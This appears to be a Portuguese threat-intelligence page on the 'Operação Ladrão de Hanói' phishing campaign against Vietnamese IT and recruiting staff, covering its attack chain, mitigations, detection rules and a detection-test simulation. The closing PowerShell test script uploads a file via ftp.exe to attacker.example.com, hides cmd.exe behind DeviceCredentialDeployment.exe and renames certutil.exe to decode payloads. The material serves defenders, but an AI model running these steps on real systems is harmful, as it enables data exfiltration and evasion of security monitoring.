Operação Ladrão de Hanói: Agente de Ameaça Ataca Equipes de TI e Recrutamento no Vietnã
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma operação de spear-phishing chamada “Operação Ladrão de Hanói” entrega um arquivo ZIP malicioso que inclui um atalho (LNK) e um documento pseudo-políglota. O atalho abusa do ftp.exe para executar um script em lote que solta uma DLL chamada MsCtfMonitor.dll no ProgramData e, em seguida, realiza o carregamento de DLL via ctfmon.exe. Esta DLL, chamada LOTUSHARVEST, rouba credenciais e histórico do navegador e então exfiltra os dados coletados via HTTPS.
Análise da Campanha Operação Ladrão de Hanói
Pesquisadores da equipe APT do SEQRITE Labs desempacotaram o arquivo ZIP, documentaram a linha de comando do LNK que abusa do ftp.exe, observaram a criação de um certutil.exe renomeado, e exploraram a cadeia de carregamento de DLL. Eles capturaram ainda indicadores de rede envolvidos na exfiltração de dados e atribuíram a campanha a um provável ator de ameaça apoiado por uma nação chinesa.
Mitigação
A orientação defensiva inclui bloquear a execução de atalhos LNK suspeitos, limitar o uso de ferramentas nativas do Windows como ftp.exe e certutil.exe em scripts não confiáveis, impor controles em torno dos caminhos de carregamento de DLL e monitorar o tráfego de saída HTTPS para domínios desconhecidos. As organizações também devem aplicar uma filtragem rigorosa de anexos de e-mail e reforçar o treinamento de usuários em armadilhas de phishing temáticas de currículo.
Resposta
Dispare alertas com o aparecimento de MsCtfMonitor.dll no ProgramData, execuções de ftp.exe com a flag -s e solicitações de saída para domínios maliciosos conhecidos. Quarentenar quaisquer arquivos impactados, isolar o endpoint comprometido e realizar a rotação de senhas e credenciais para os navegadores afetados.
mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% Nodes action_phishing[“<b>Ação</b> – <b>T1566.001 Phishing: Anexo de Spearphishing</b><br/>Adversário envia um arquivo ZIP malicioso para usuários-alvo”] class action_phishing action file_malicious_zip[“<b>Arquivo</b> – Nome: Le‑Xuan‑Son_CV.zip<br/>Contém CV.pdf.lnk e PDF/PNG disfarçado”] class file_malicious_zip file action_user_exec[“<b>Ação</b> – <b>T1204.002 Execução de Usuário: Arquivo Malicioso</b><br/>Vítima extrai o arquivo e abre o atalho”] class action_user_exec action file_lnk[“<b>Arquivo</b> – Nome: CV.pdf.lnk (atalho)”] class file_lnk file action_shortcut_mod[“<b>Ação</b> – <b>T1547.009 Execução de Inicialização ou Logon: Modificação de Atalho</b><br/>LNK executa ftp.exe com argumento –s”] class action_shortcut_mod action tool_ftp[“<b>Ferramenta</b> – Nome: ftp.exe (binário do sistema Windows)”] class tool_ftp tool action_proxy_exec[“<b>Ação</b> – <b>T1218 Execução de Proxy de Binário do Sistema</b><br/>Binários legítimos usados para executar comandos ocultos”] class action_proxy_exec action tool_device_cred_deploy[“<b>Ferramenta</b> – Nome: DeviceCredentialDeployment.exe”] class tool_device_cred_deploy tool tool_certutil[“<b>Ferramenta</b> – Nome: certutil.exe”] class tool_certutil tool action_masquerade[“<b>Ação</b> – <b>T1036.008 Mascaramento: Tipo de Arquivo<br>T1036.007 Mascaramento: Extensão Dupla</b><br/>Carga útil disfarçada como PDF/PNG e depois renomeada”] class action_masquerade action file_masq_pdf[“<b>Arquivo</b> – Nome: offsec‑certified‑professional.png (na verdade PDF)”] class file_masq_pdf file action_compression[“<b>Ação</b> – <b>T1027.015 Arquivos ou Informações Ofuscados: Compressão</b><br/>ZIP usado para entregar carga maliciosa”] class action_compression action action_compile_after_delivery[“<b>Ação</b> – <b>T1027.004 Compilar Após a Entrega</b><br/>DLL codificada em Base64 extraída de script poliglota”] class action_compile_after_delivery action action_dll_sideload[“<b>Ação</b> – <b>T1574.002 Carregamento Lateral de DLL</b><br/>DLL maliciosa colocada ao lado do ctfmon.exe”] class action_dll_sideload action file_ctfmon_exe[“<b>Arquivo</b> – Nome: ctfmon.exe (copiado para o diretório de trabalho)”] class file_ctfmon_exe file file_malicious_dll[“<b>Arquivo</b> – Nome: MsCtfMonitor.dll (malicioso)”] class file_malicious_dll malware action_process_injection[“<b>Ação</b> – <b>T1055.001 Injeção de Processo: Injeção de DLL</b><br/>DLL carregada lateralmente por ctfmon.exe executa código do atacante”] class action_process_injection action action_browser_discovery[“<b>Ação</b> – <b>T1217 Descoberta de Informações do Navegador</b><br/>DLL lê bancos de dados SQLite do Chrome e Edge para URLs”] class action_browser_discovery action action_credential_extraction[“<b>Ação</b> – <b>T1555.003 Credenciais de Navegadores Web</b><br/>Senhas descriptografadas via CryptUnprotectData”] class action_credential_extraction action action_exfiltration_auto[“<b>Ação</b> – <b>T1020 Exfiltração Automatizada</b><br/>Dados preparados para exfiltração via HTTPS”] class action_exfiltration_auto action action_exfiltration_c2[“<b>Ação</b> – <b>T1041 Exfiltração por Canal C2</b><br/><b>T1102 Serviço Web</b><br/>Dados postados para domínio do atacante via HTTP POST”] class action_exfiltration_c2 action %% Connections action_phishing u002du002d>|entrega| file_malicious_zip file_malicious_zip u002du002d>|contém| file_lnk file_lnk u002du002d>|acionado por| action_user_exec action_user_exec u002du002d>|leva a| action_shortcut_mod action_shortcut_mod u002du002d>|executa| tool_ftp tool_ftp u002du002d>|usado em| action_proxy_exec action_proxy_exec u002du002d>|também usa| tool_device_cred_deploy action_proxy_exec u002du002d>|também usa| tool_certutil action_shortcut_mod u002du002d>|usa| action_masquerade action_masquerade u002du002d>|cria| file_masq_pdf action_masquerade u002du002d>|depende de| action_compression action_compression u002du002d>|habilita| action_compile_after_delivery action_compile_after_delivery u002du002d>|produz| file_malicious_dll action_compile_after_delivery u002du002d>|prepara| action_dll_sideload action_dll_sideload u002du002d>|coloca DLL com| file_ctfmon_exe action_dll_sideload u002du002d>|coloca| file_malicious_dll file_ctfmon_exe u002du002d>|carrega| file_malicious_dll file_malicious_dll u002du002d>|realiza| action_process_injection action_process_injection u002du002d>|habilita| action_browser_discovery action_browser_discovery u002du002d>|fornece dados para| action_credential_extraction action_credential_extraction u002du002d>|fornece dados para| action_exfiltration_auto action_exfiltration_auto u002du002d>|envia dados via| action_exfiltration_c2 %% Class Assignments class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware
Fluxo de Ataque
Detecções
Operação Ladrão de Hanói: Detecção de Exfiltração de Dados [Conexão de Rede do Windows]
Visualizar
Detecção de Atividades da Operação Ladrão de Hanói [Criação de Processo no Windows]
Visualizar
IOCs (HashSha256) para detectar: Operação Ladrão de Hanói: Ator de Ameaça visa profissionais de TI vietnamitas e equipes de recrutamento
Visualizar
Usando Certutil para Codificação de Dados e Operações de Certificado (via linha de comando)
Visualizar
Arquivos Extraídos Suspeitos de um Arquivo (via file_event)
Visualizar
Execução de Simulação
Pré-requisito: A Verificação de Pré-Voo de Telemetria & Base deve ter passado.
Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos do Ataque:
Um invasor que obteve uma shell de baixo privilégio em uma máquina Windows comprometida deseja exfiltrar dados e manter-se furtivo.- Estágio 1 – Execução de script FTP: O invasor cria um script temporário
upload.txtcontendo comandos FTP e executaftp.exe -s upload.txtpara transferir arquivos para um servidor externo. - Estágio 2 – Execução de comando Proxy: Para ocultar o uso de
cmd.exe, o invasor lançaDeviceCredentialDeployment.execom o argumentocmd.exe /c whoami; a utilidade assinada gera um shell de comando oculto, evitando alertas simples de nome de processo. - Estágio 3 – Uso mascarado do certutil: O invasor copia
certutil.exeparaC:Templala.exee executalala.exe -decode malicious.b64 output.exepara decodificar cargas úteis, aproveitando o renomeio para contornar detecções baseadas no nome de arquivo.
- Estágio 1 – Execução de script FTP: O invasor cria um script temporário
-
Script de Teste de Regressão: O seguinte script PowerShell reproduz os três passos de forma repetível.
# Script de Teste de Regressão – aciona a regra de detecção # 1. FTP com flag -s $ftpScript = "$env:TEMPupload.txt" @" open attacker.example.com user testuser testpass put C:WindowsSystem32notepad.exe notepad.exe quit "@ | Set-Content -Path $ftpScript -Encoding ASCII Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait # 2. DeviceCredentialDeployment.exe em proxy para cmd.exe $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe" if (Test-Path $dccPath) { Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait } else { Write-Host "DeviceCredentialDeployment.exe não encontrado – pulando passo 2." } # 3. Execução mascarada do certutil $original = "$env:SystemRootSystem32certutil.exe" $masq = "$env:TEMPlala.exe" Copy-Item -Path $original -Destination $masq -Force $payload = "$env:TEMPmalicious.b64" $output = "$env:TEMPdecoded.exe" # Cria uma carga útil base64 dummy [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malicioso"))) Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait -
Comandos de Limpeza: Remova artefatos criados durante o teste.
# Script de Limpeza Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue Write-Host "Limpeza concluída."